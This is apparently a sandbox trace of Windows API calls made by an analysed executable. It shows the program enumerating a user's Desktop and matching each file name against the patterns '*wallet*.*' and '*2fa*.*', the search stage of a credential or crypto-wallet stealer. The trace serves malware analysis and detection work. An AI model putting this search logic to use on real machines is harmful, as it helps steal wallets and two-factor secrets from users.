lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.691] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.691] lstrcatW (in: lpString1="\\", lpString2="ZXgj9NJ y.mp3" | out: lpString1="\\ZXgj9NJ y.mp3") returned="\\ZXgj9NJ y.mp3" [0146.691] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.691] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2d) returned 0x33400d0 [0146.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3", cchWideChar=45, lpMultiByteStr=0x33400d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3", lpUsedDefaultChar=0x0) returned 45 [0146.691] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.691] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.691] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.691] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340e20 [0146.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340e20, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.691] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340560 [0146.691] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e20 | out: hHeap=0x2360000) returned 1 [0146.691] PathMatchSpecW (pszFile="ZXgj9NJ y.mp3", pszSpec="*wallet*.*") returned 0 [0146.691] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340560 | out: hHeap=0x2360000) returned 1 [0146.692] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.692] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28e0510, ftCreationTime.dwHighDateTime=0x1d7a36f, ftLastAccessTime.dwLowDateTime=0x594c2290, ftLastAccessTime.dwHighDateTime=0x1d7a790, ftLastWriteTime.dwLowDateTime=0x594c2290, ftLastWriteTime.dwHighDateTime=0x1d7a790, nFileSizeHigh=0x0, nFileSizeLow=0x14695, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZXgj9NJ y.mp3", cAlternateFileName="ZXGJ9N~1.MP3")) returned 0 [0146.692] FindClose (in: hFindFile=0x8823f0 | out: hFindFile=0x8823f0) returned 1 [0146.692] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba4f8 | out: hHeap=0x2360000) returned 1 [0146.692] GetLastError () returned 0x12 [0146.692] SetLastError (dwErrCode=0x12) [0146.692] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0146.692] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3340650, cbMultiByte=31, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 31 [0146.692] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x32ba618 [0146.692] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3340650, cbMultiByte=31, lpWideCharStr=0x32ba618, cchWideChar=31 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned 31 [0146.692] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba4f8 [0146.692] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba618 | out: hHeap=0x2360000) returned 1 [0146.692] lstrcpyW (in: lpString1=0x19d32c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.692] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*" [0146.692] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*", lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2347d81f, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x2347d81f, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8823f0 [0146.693] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.693] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.693] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\." [0146.693] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.693] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.693] lstrcatW (in: lpString1="\\", lpString2="." | out: lpString1="\\.") returned="\\." [0146.693] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.693] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2347d81f, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x2347d81f, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.693] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.693] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.693] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.." [0146.693] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.693] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.693] lstrcatW (in: lpString1="\\", lpString2=".." | out: lpString1="\\..") returned="\\.." [0146.693] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.693] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.693] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aafd530, ftCreationTime.dwHighDateTime=0x1d7ab0e, ftLastAccessTime.dwLowDateTime=0x6ccdf970, ftLastAccessTime.dwHighDateTime=0x1d7afd2, ftLastWriteTime.dwLowDateTime=0x6ccdf970, ftLastWriteTime.dwHighDateTime=0x1d7afd2, nFileSizeHigh=0x0, nFileSizeLow=0xac6, dwReserved0=0x0, dwReserved1=0x0, cFileName="0AEOYBW.gif", cAlternateFileName="")) returned 1 [0146.694] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.694] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.694] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="0AEOYBW.gif" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif" [0146.694] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.694] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.694] lstrcatW (in: lpString1="\\", lpString2="0AEOYBW.gif" | out: lpString1="\\0AEOYBW.gif") returned="\\0AEOYBW.gif" [0146.694] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.694] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2b) returned 0x33400d0 [0146.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", lpUsedDefaultChar=0x0) returned 43 [0146.694] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.694] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.694] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.694] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x236ac48 [0146.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ac48, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.694] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac48 | out: hHeap=0x2360000) returned 1 [0146.694] PathMatchSpecW (pszFile="0AEOYBW.gif", pszSpec="*2fa*.*") returned 0 [0146.694] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.694] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb00098c0, ftCreationTime.dwHighDateTime=0x1d7a6cb, ftLastAccessTime.dwLowDateTime=0xa172ad00, ftLastAccessTime.dwHighDateTime=0x1d7ac4f, ftLastWriteTime.dwLowDateTime=0xa172ad00, ftLastWriteTime.dwHighDateTime=0x1d7ac4f, nFileSizeHigh=0x0, nFileSizeLow=0xd5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="0pw9-hL.rtf", cAlternateFileName="")) returned 1 [0146.695] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.695] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.695] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="0pw9-hL.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf" [0146.695] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.695] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.695] lstrcatW (in: lpString1="\\", lpString2="0pw9-hL.rtf" | out: lpString1="\\0pw9-hL.rtf") returned="\\0pw9-hL.rtf" [0146.695] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.695] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2b) returned 0x33400d0 [0146.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", lpUsedDefaultChar=0x0) returned 43 [0146.695] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.695] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.695] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.695] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.695] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x236ab28 [0146.695] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ab28, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.695] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab28 | out: hHeap=0x2360000) returned 1 [0146.695] PathMatchSpecW (pszFile="0pw9-hL.rtf", pszSpec="*2fa*.*") returned 0 [0146.695] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.695] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf526a000, ftCreationTime.dwHighDateTime=0x1d7b433, ftLastAccessTime.dwLowDateTime=0xf526a000, ftLastAccessTime.dwHighDateTime=0x1d7b433, ftLastWriteTime.dwLowDateTime=0xcf909b00, ftLastWriteTime.dwHighDateTime=0x1d7b421, nFileSizeHigh=0x0, nFileSizeLow=0x92400, dwReserved0=0x0, dwReserved1=0x0, cFileName="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cAlternateFileName="7859D0~1.EXE")) returned 1 [0146.695] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.695] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.695] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" [0146.696] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.696] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.696] lstrcatW (in: lpString1="\\", lpString2="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" | out: lpString1="\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe") returned="\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" [0146.696] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xd0) returned 0x23604a0 [0146.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cchWideChar=100, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 100 [0146.696] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x64) returned 0x23611c0 [0146.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cchWideChar=100, lpMultiByteStr=0x23611c0, cbMultiByte=100, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", lpUsedDefaultChar=0x0) returned 100 [0146.696] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x2361230 [0146.696] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0146.696] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.696] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x236aab0 [0146.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236aab0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.696] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aab0 | out: hHeap=0x2360000) returned 1 [0146.696] PathMatchSpecW (pszFile="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", pszSpec="*2fa*.*") returned 0 [0146.697] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361230 | out: hHeap=0x2360000) returned 1 [0146.697] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x767b4af0, ftCreationTime.dwHighDateTime=0x1d7aa31, ftLastAccessTime.dwLowDateTime=0xd2fd0c00, ftLastAccessTime.dwHighDateTime=0x1d7aa9f, ftLastWriteTime.dwLowDateTime=0xd2fd0c00, ftLastWriteTime.dwHighDateTime=0x1d7aa9f, nFileSizeHigh=0x0, nFileSizeLow=0x2b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="82JEM7uGSBUD5y.jpg", cAlternateFileName="82JEM7~1.JPG")) returned 1 [0146.697] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.697] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.697] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="82JEM7uGSBUD5y.jpg" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg" [0146.697] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.697] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.697] lstrcatW (in: lpString1="\\", lpString2="82JEM7uGSBUD5y.jpg" | out: lpString1="\\82JEM7uGSBUD5y.jpg") returned="\\82JEM7uGSBUD5y.jpg" [0146.697] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0146.697] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x32) returned 0x32bb020 [0146.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", cchWideChar=50, lpMultiByteStr=0x32bb020, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", lpUsedDefaultChar=0x0) returned 50 [0146.697] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba2b8 [0146.697] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb020 | out: hHeap=0x2360000) returned 1 [0146.697] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.697] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x236ac48 [0146.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ac48, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.697] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac48 | out: hHeap=0x2360000) returned 1 [0146.697] PathMatchSpecW (pszFile="82JEM7uGSBUD5y.jpg", pszSpec="*2fa*.*") returned 0 [0146.697] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba2b8 | out: hHeap=0x2360000) returned 1 [0146.698] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0b205c0, ftCreationTime.dwHighDateTime=0x1d7aa86, ftLastAccessTime.dwLowDateTime=0x93584e20, ftLastAccessTime.dwHighDateTime=0x1d7acf2, ftLastWriteTime.dwLowDateTime=0x93584e20, ftLastWriteTime.dwHighDateTime=0x1d7acf2, nFileSizeHigh=0x0, nFileSizeLow=0x14983, dwReserved0=0x0, dwReserved1=0x0, cFileName="8DlSlQ4DWJEgioA.bmp", cAlternateFileName="8DLSLQ~1.BMP")) returned 1 [0146.698] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.698] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.698] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="8DlSlQ4DWJEgioA.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp" [0146.698] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.698] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.698] lstrcatW (in: lpString1="\\", lpString2="8DlSlQ4DWJEgioA.bmp" | out: lpString1="\\8DlSlQ4DWJEgioA.bmp") returned="\\8DlSlQ4DWJEgioA.bmp" [0146.698] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0146.698] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x33) returned 0x32ba9e0 [0146.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", cchWideChar=51, lpMultiByteStr=0x32ba9e0, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", lpUsedDefaultChar=0x0) returned 51 [0146.698] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba300 [0146.698] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba9e0 | out: hHeap=0x2360000) returned 1 [0146.698] 